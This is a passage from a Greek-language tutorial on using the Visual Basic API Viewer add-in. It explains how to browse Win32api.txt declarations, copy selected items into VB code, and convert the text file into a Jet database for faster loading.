κειµένου. Χρησιµοποιώντας την εφαρµογή API viewer Η εφαρµογή API viewer, σας δίνει την δυνατότητα να περιηγηθείτε σε ένα σύνολο δηλώσεων, τύπων και σταθερών που περιλαµβάνονται σε οποιοδήποτε text αρχείο ή στην Microsoft Jet Database. Αφού βρείτε την επιθυµητή διαδικασία µπορείτε να αντιγράψετε τον κώδικα και να τον επικολλήσετε στην δική σας VB εφαρµογή. Μπορείτε να προσθέσετε αναρίθµητες διαδικασίες στην εφαρµογή σας ανάλογα µε τις ανάγκες σας. Η API Viewer εφαρµογή Για να δείτε ένα API αρχείο 1. Από το Add-Ins µενού, ανοίξτε το Add-In Manager και φορτώστε το API viewer. 2. Κάντε κλικ στο API Viewer από το Add-Ins µενού 3. Ανοίξτε το txt ή database αρχείο που επιθυµείτε να δείτε Για να φορτώσετε ένα txt αρχείο στον viewer, κάντε κλικ File\Load Text File και επιλέξτε το αρχείο που θέλετε να δείτε Για να φορτώσετε ένα database αρχείο, επιλέξτε File\Load Database File. 4. Επιλέξτε τo είδος του αντικειµένου που θέλετε να δείτε από την λίστα του API Types

Πρόσθεση διαδικασιών στο VB κώδικά σας 1. Κάντε κλικ στην διαδικασία που θέλετε να αντιγράψετε στη λίστα Available Items 2. Κάντε κλικ Add.Το αντικείµενο που διαλέξατε εµφανίζεται στη λίστα Selected Items 3. Καθορίστε το εύρος του αντικειµένου διαλέγοντας Public ή Private που βρίσκεται στο Declare Scope 4. Για να απορρίψετε µία επιλογή που διαλέξατε από την λίστα Selected Items, κάντε κλικ στο αντικείµενο και πατήστε Remove 5. Για να απορρίψετε όλες τις επιλογές σας από τη λίστα Selected Items, πατήστε Clear Αντιγραφή των επιλεγµένων αντικειµένων στο clipboard 1. Κάντε κλικ copy. Όλα τα αντικείµενα από τη λίστα Selected Items θα αντιγραφούν 2. Ανοίξτε την εργασία σας στην Visual Basic και πηγαίνετε στο µέρος του κώδικα που θέλετε να τοποθετήσετε τις API πληροφορίες 3. Επιλέξτε το σηµείο που θέλετε να βάλετε τις διαδικασίες και πατήστε Edit/Paste Μετατροπή των Text Files σε Jet Database Files Για κερδίσετε ταχύτητα, µπορείτε να µετατρέψετε το Win32api.txt αρχείο σε Jet Database αρχείο, που είναι γρηγορότερο να παρουσιάσετε την λίστα όταν είναι σε database µορφή παρότι σε text αρχείο. Για να µετατρέψετε ένα text file σε Jet Database αρχείο 1. Εκκινήστε την εφαρµογή API Viewer 2. Κάντε κλικ File\Load Text File και ανοίξτε το.txt αρχείο που επιθυµείτε να µετατρέψετε 3. Κάντε κλικ File\Convert Text to Database 4. Επιλέξτε το όνοµα του αρχείο και την τοποθεσία που θέλετε να έχετε για το δικό σας database αρχείο, κάντε κλικ OK Αναπαριστώντας το Win32api.txt αρχείο σε έναν επεξεργαστή κειµένου Μπορείτε επίσης, να φορτώσετε το Win32api.txt αρχείο σε έναν επεξεργαστή κειµένου όπως το Microsoft Word ή το WordPad, για να εντοπίσετε την διαδικασία που θέλετε να χρησιµοποιήσετε. Και σε αυτήν την περίπτωση απλώς κάντε copy την διαδικασία και επικολλήστε την στον κωδικό σας.